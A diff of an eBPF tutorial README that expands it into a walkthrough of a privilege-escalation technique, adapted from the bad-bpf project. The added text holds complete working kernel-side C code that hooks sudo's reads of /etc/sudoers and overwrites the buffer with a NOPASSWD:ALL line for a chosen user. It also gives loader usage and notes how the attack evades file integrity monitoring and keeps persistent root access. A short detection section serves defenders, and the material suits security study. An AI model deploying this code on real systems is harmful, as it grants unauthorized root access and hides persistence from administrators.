|
1 | | -# Using eBPF to add sudo user |
| 1 | +# eBPF Tutorial: Privilege Escalation via File Content Manipulation |
| 2 | + |
| 3 | +eBPF's power extends far beyond simple tracing—it can modify data flowing through the kernel in real-time. While this capability enables innovative solutions for performance optimization and security monitoring, it also opens doors to sophisticated attack vectors that traditional security tools might miss. This tutorial demonstrates one such technique: using eBPF to grant unprivileged users root access by manipulating what `sudo` sees when reading `/etc/sudoers`. |
| 4 | + |
| 5 | +This example reveals how attackers could abuse eBPF's `bpf_probe_write_user` helper to bypass Linux's permission model entirely, without leaving traces in log files or modifying actual system files. Understanding these attack patterns is crucial for defenders building eBPF-aware security monitoring. |
2 | 6 |
|
3 | 7 | > The complete source code: <https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/26-sudo> |
4 | 8 |
|
| 9 | +## The Attack Vector: Intercepting File Reads |
| 10 | + |
| 11 | +Traditional privilege escalation attacks modify `/etc/sudoers` directly, leaving obvious traces in file timestamps, audit logs, and integrity monitoring systems. This eBPF-based approach is far more subtle—it intercepts `sudo`'s read operation and replaces the file content in memory before `sudo` processes it. The actual file on disk remains unchanged, defeating most file integrity monitors. |
| 12 | + |
| 13 | +The attack works by exploiting a critical window: when `sudo` reads `/etc/sudoers` into a buffer, the data briefly exists in userspace memory. eBPF programs can access and modify this userspace memory using `bpf_probe_write_user`, effectively lying to `sudo` about what permissions exist without ever touching the real file. |
| 14 | + |
| 15 | +Here's the attack flow: when any process opens `/etc/sudoers`, we record its file descriptor. When that same process reads from the file, we capture the buffer address. After the read completes, we overwrite the first line with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #`, making `sudo` believe the target user has full root privileges. The trailing `#` comments out whatever was originally on that line, preventing parse errors. |
| 16 | + |
| 17 | +## Implementation: Hooking the System Call Path |
| 18 | + |
| 19 | +Let's examine how this attack is implemented in eBPF. The complete kernel-side code coordinates four system call hooks to track file operations and inject malicious content. |
| 20 | + |
| 21 | +```c |
| 22 | +// SPDX-License-Identifier: BSD-3-Clause |
| 23 | +#include "vmlinux.h" |
| 24 | +#include <bpf/bpf_helpers.h> |
| 25 | +#include <bpf/bpf_tracing.h> |
| 26 | +#include <bpf/bpf_core_read.h> |
| 27 | +#include "common.h" |
| 28 | + |
| 29 | +char LICENSE[] SEC("license") = "Dual BSD/GPL"; |
| 30 | + |
| 31 | +// Ringbuffer Map to pass messages from kernel to user |
| 32 | +struct { |
| 33 | + __uint(type, BPF_MAP_TYPE_RINGBUF); |
| 34 | + __uint(max_entries, 256 * 1024); |
| 35 | +} rb SEC(".maps"); |
| 36 | + |
| 37 | +// Map to hold the File Descriptors from 'openat' calls |
| 38 | +struct { |
| 39 | + __uint(type, BPF_MAP_TYPE_HASH); |
| 40 | + __uint(max_entries, 8192); |
| 41 | + __type(key, size_t); |
| 42 | + __type(value, unsigned int); |
| 43 | +} map_fds SEC(".maps"); |
| 44 | + |
| 45 | +// Map to fold the buffer sized from 'read' calls |
| 46 | +struct { |
| 47 | + __uint(type, BPF_MAP_TYPE_HASH); |
| 48 | + __uint(max_entries, 8192); |
| 49 | + __type(key, size_t); |
| 50 | + __type(value, long unsigned int); |
| 51 | +} map_buff_addrs SEC(".maps"); |
| 52 | + |
| 53 | +// Optional Target Parent PID |
| 54 | +const volatile int target_ppid = 0; |
| 55 | + |
| 56 | +// The UserID of the user, if we're restricting |
| 57 | +// running to just this user |
| 58 | +const volatile int uid = 0; |
| 59 | + |
| 60 | +// These store the string we're going to |
| 61 | +// add to /etc/sudoers when viewed by sudo |
| 62 | +// Which makes it think our user can sudo |
| 63 | +// without a password |
| 64 | +const volatile int payload_len = 0; |
| 65 | +const volatile char payload[max_payload_len]; |
| 66 | + |
| 67 | +SEC("tp/syscalls/sys_enter_openat") |
| 68 | +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) |
| 69 | +{ |
| 70 | + size_t pid_tgid = bpf_get_current_pid_tgid(); |
| 71 | + int pid = pid_tgid >> 32; |
| 72 | + // Check if we're a process thread of interest |
| 73 | + // if target_ppid is 0 then we target all pids |
| 74 | + if (target_ppid != 0) { |
| 75 | + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); |
| 76 | + int ppid = BPF_CORE_READ(task, real_parent, tgid); |
| 77 | + if (ppid != target_ppid) { |
| 78 | + return 0; |
| 79 | + } |
| 80 | + } |
| 81 | + |
| 82 | + // Check comm is sudo |
| 83 | + char comm[TASK_COMM_LEN]; |
| 84 | + bpf_get_current_comm(comm, sizeof(comm)); |
| 85 | + const int sudo_len = 5; |
| 86 | + const char *sudo = "sudo"; |
| 87 | + for (int i = 0; i < sudo_len; i++) { |
| 88 | + if (comm[i] != sudo[i]) { |
| 89 | + return 0; |
| 90 | + } |
| 91 | + } |
| 92 | + |
| 93 | + // Now check we're opening sudoers |
| 94 | + const char *sudoers = "/etc/sudoers"; |
| 95 | + char filename[sudoers_len]; |
| 96 | + bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]); |
| 97 | + for (int i = 0; i < sudoers_len; i++) { |
| 98 | + if (filename[i] != sudoers[i]) { |
| 99 | + return 0; |
| 100 | + } |
| 101 | + } |
| 102 | + bpf_printk("Comm %s\n", comm); |
| 103 | + bpf_printk("Filename %s\n", filename); |
| 104 | + |
| 105 | + // If filtering by UID check that |
| 106 | + if (uid != 0) { |
| 107 | + int current_uid = bpf_get_current_uid_gid() >> 32; |
| 108 | + if (uid != current_uid) { |
| 109 | + return 0; |
| 110 | + } |
| 111 | + } |
| 112 | + |
| 113 | + // Add pid_tgid to map for our sys_exit call |
| 114 | + unsigned int zero = 0; |
| 115 | + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); |
| 116 | + |
| 117 | + return 0; |
| 118 | +} |
| 119 | + |
| 120 | +SEC("tp/syscalls/sys_exit_openat") |
| 121 | +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) |
| 122 | +{ |
| 123 | + // Check this open call is opening our target file |
| 124 | + size_t pid_tgid = bpf_get_current_pid_tgid(); |
| 125 | + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); |
| 126 | + if (check == 0) { |
| 127 | + return 0; |
| 128 | + } |
| 129 | + int pid = pid_tgid >> 32; |
| 130 | + |
| 131 | + // Set the map value to be the returned file descriptor |
| 132 | + unsigned int fd = (unsigned int)ctx->ret; |
| 133 | + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); |
| 134 | + |
| 135 | + return 0; |
| 136 | +} |
| 137 | + |
| 138 | +SEC("tp/syscalls/sys_enter_read") |
| 139 | +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) |
| 140 | +{ |
| 141 | + // Check this open call is opening our target file |
| 142 | + size_t pid_tgid = bpf_get_current_pid_tgid(); |
| 143 | + int pid = pid_tgid >> 32; |
| 144 | + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); |
| 145 | + if (pfd == 0) { |
| 146 | + return 0; |
| 147 | + } |
| 148 | + |
| 149 | + // Check this is the sudoers file descriptor |
| 150 | + unsigned int map_fd = *pfd; |
| 151 | + unsigned int fd = (unsigned int)ctx->args[0]; |
| 152 | + if (map_fd != fd) { |
| 153 | + return 0; |
| 154 | + } |
| 155 | + |
| 156 | + // Store buffer address from arguments in map |
| 157 | + long unsigned int buff_addr = ctx->args[1]; |
| 158 | + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); |
5 | 159 |
|
6 | | -Compilation: |
| 160 | + // log and exit |
| 161 | + size_t buff_size = (size_t)ctx->args[2]; |
| 162 | + return 0; |
| 163 | +} |
| 164 | + |
| 165 | +SEC("tp/syscalls/sys_exit_read") |
| 166 | +int handle_read_exit(struct trace_event_raw_sys_exit *ctx) |
| 167 | +{ |
| 168 | + // Check this open call is reading our target file |
| 169 | + size_t pid_tgid = bpf_get_current_pid_tgid(); |
| 170 | + int pid = pid_tgid >> 32; |
| 171 | + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); |
| 172 | + if (pbuff_addr == 0) { |
| 173 | + return 0; |
| 174 | + } |
| 175 | + long unsigned int buff_addr = *pbuff_addr; |
| 176 | + if (buff_addr <= 0) { |
| 177 | + return 0; |
| 178 | + } |
| 179 | + |
| 180 | + // This is amount of data returned from the read syscall |
| 181 | + if (ctx->ret <= 0) { |
| 182 | + return 0; |
| 183 | + } |
| 184 | + long int read_size = ctx->ret; |
| 185 | + |
| 186 | + // Add our payload to the first line |
| 187 | + if (read_size < payload_len) { |
| 188 | + return 0; |
| 189 | + } |
| 190 | + |
| 191 | + // Overwrite first chunk of data |
| 192 | + // then add '#'s to comment out rest of data in the chunk. |
| 193 | + // This sorta corrupts the sudoers file, but everything still |
| 194 | + // works as expected |
| 195 | + char local_buff[max_payload_len] = { 0x00 }; |
| 196 | + bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr); |
| 197 | + for (unsigned int i = 0; i < max_payload_len; i++) { |
| 198 | + if (i >= payload_len) { |
| 199 | + local_buff[i] = '#'; |
| 200 | + } |
| 201 | + else { |
| 202 | + local_buff[i] = payload[i]; |
| 203 | + } |
| 204 | + } |
| 205 | + // Write data back to buffer |
| 206 | + long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len); |
| 207 | + |
| 208 | + // Send event |
| 209 | + struct event *e; |
| 210 | + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); |
| 211 | + if (e) { |
| 212 | + e->success = (ret == 0); |
| 213 | + e->pid = pid; |
| 214 | + bpf_get_current_comm(&e->comm, sizeof(e->comm)); |
| 215 | + bpf_ringbuf_submit(e, 0); |
| 216 | + } |
| 217 | + return 0; |
| 218 | +} |
| 219 | + |
| 220 | +SEC("tp/syscalls/sys_exit_close") |
| 221 | +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) |
| 222 | +{ |
| 223 | + // Check if we're a process thread of interest |
| 224 | + size_t pid_tgid = bpf_get_current_pid_tgid(); |
| 225 | + int pid = pid_tgid >> 32; |
| 226 | + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); |
| 227 | + if (check == 0) { |
| 228 | + return 0; |
| 229 | + } |
| 230 | + |
| 231 | + // Closing file, delete fd from all maps to clean up |
| 232 | + bpf_map_delete_elem(&map_fds, &pid_tgid); |
| 233 | + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); |
| 234 | + |
| 235 | + return 0; |
| 236 | +} |
| 237 | +``` |
| 238 | +
|
| 239 | +The program uses a multi-stage approach. First, `handle_openat_enter` acts as a filter—it checks that the process is `sudo`, that it's opening `/etc/sudoers`, and optionally that it matches a specific UID or parent PID. This filtering is critical because we don't want to affect every file operation on the system, only the specific case where `sudo` reads its configuration. |
| 240 | +
|
| 241 | +When `sudo` opens `/etc/sudoers`, the kernel returns a file descriptor. We catch this in `handle_openat_exit` and store the file descriptor in `map_fds`. This map links the process (identified by `pid_tgid`) to its sudoers file descriptor, so we know which reads to intercept. |
| 242 | +
|
| 243 | +The next hook, `handle_read_enter`, triggers when `sudo` calls `read()` on that file descriptor. The crucial detail here is capturing the buffer address—that's where the kernel will copy the file contents, and that's what we'll overwrite. We store this address in `map_buff_addrs`. |
| 244 | +
|
| 245 | +The attack executes in `handle_read_exit`. After the kernel completes the read operation and fills the buffer with the real sudoers content, we use `bpf_probe_write_user` to overwrite it. We replace the first line with our payload (`<username> ALL=(ALL:ALL) NOPASSWD:ALL #`) and fill the rest of the buffer with `#` characters to comment out the original content. From `sudo`'s perspective, it read a legitimate sudoers file that grants our user full privileges. |
| 246 | +
|
| 247 | +Finally, `handle_close_exit` cleans up our tracking maps when `sudo` closes the file, preventing memory leaks. |
| 248 | +
|
| 249 | +## Userspace Loader and Configuration |
| 250 | +
|
| 251 | +The userspace component is straightforward—it configures the attack parameters and loads the eBPF program. The critical part is setting up the payload string that will be injected into `sudo`'s memory. This string is stored in the eBPF program's read-only data section, making it visible to the kernel at verification time but modifiable before loading. |
| 252 | +
|
| 253 | +The loader accepts command-line arguments to specify the username to grant privileges, optionally restrict the attack to a specific user or process tree, and then loads the eBPF program with these parameters baked into the bytecode. When `sudo` next runs, the attack executes automatically without any further userspace interaction needed. |
| 254 | +
|
| 255 | +## Security Implications and Detection |
| 256 | +
|
| 257 | +This attack demonstrates why eBPF requires `CAP_BPF` or `CAP_SYS_ADMIN` capabilities—these programs can fundamentally alter system behavior. An attacker who gains root access even briefly could load this eBPF program and maintain persistent access even after their initial foothold is removed. |
| 258 | +
|
| 259 | +Detection is challenging. The file on disk remains unchanged, so traditional file integrity monitoring fails. The attack happens entirely in kernel space during normal system call execution, leaving no unusual process behavior. However, defenders can look for loaded eBPF programs with write capabilities (`bpftool prog list`), monitor for `bpf()` system calls, or use eBPF-aware security tools that can inspect loaded programs. |
| 260 | +
|
| 261 | +Modern security platforms like Falco and Tetragon can detect suspicious eBPF activity by monitoring program loading and examining attached hooks. The key is maintaining visibility into the eBPF subsystem itself. |
| 262 | +
|
| 263 | +## Compilation and Execution |
| 264 | +
|
| 265 | +Compile the program by running make in the tutorial directory: |
7 | 266 |
|
8 | 267 | ```bash |
| 268 | +cd src/26-sudo |
9 | 269 | make |
10 | 270 | ``` |
11 | 271 |
|
12 | | -Usage: |
| 272 | +To test the attack (in a safe VM environment), run as root and specify a target username: |
13 | 273 |
|
14 | | -```sh |
| 274 | +```bash |
15 | 275 | sudo ./sudoadd --username lowpriv-user |
16 | 276 | ``` |
17 | 277 |
|
18 | | -This program allows a user with lower privileges to become root using `sudo`. |
| 278 | +This will intercept `sudo` operations and grant `lowpriv-user` root access without modifying `/etc/sudoers`. When `lowpriv-user` runs `sudo`, they'll be able to execute commands as root without entering a password. Other programs reading `/etc/sudoers` (like `cat` or text editors) will still see the original, unmodified file. |
| 279 | + |
| 280 | +The `--restrict` flag limits the attack to only work when executed by the specified user, and `--target-ppid` can scope the attack to a specific process tree. |
| 281 | + |
| 282 | +## Summary |
| 283 | + |
| 284 | +This tutorial showed how eBPF's memory manipulation capabilities can subvert Linux's security model by intercepting and modifying data flowing through the kernel. While powerful for legitimate debugging and monitoring, these same features enable sophisticated attacks that bypass traditional security controls. The key takeaway for defenders is that eBPF programs themselves must be treated as a critical part of your attack surface—monitoring what eBPF programs are loaded and what capabilities they use is essential for modern Linux security. |
19 | 285 |
|
20 | | -It works by intercepting `sudo` reading the `/etc/sudoers` file and overwriting the first line with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #`. This tricks `sudo` into thinking that the user is allowed to become root. Other programs like `cat` or `sudoedit` are not affected, so the file remains unchanged and the user does not have these permissions. The `#` at the end of the line ensures that the rest of the line is treated as a comment, so it does not break the logic of the file. |
| 286 | +> If you'd like to dive deeper into eBPF, check out our tutorial repository at <https://github.com/eunomia-bpf/bpf-developer-tutorial> or visit our website at <https://eunomia.dev/tutorials/>. |
21 | 287 |
|
22 | 288 | ## References |
23 | 289 |
|
24 | | -- [https://github.com/pathtofile/bad-bpf](https://github.com/pathtofile/bad-bpf) |
| 290 | +- Original bad-bpf project: <https://github.com/pathtofile/bad-bpf> |
| 291 | +- eBPF helpers documentation: <https://man7.org/linux/man-pages/man7/bpf-helpers.7.html> |
0 commit comments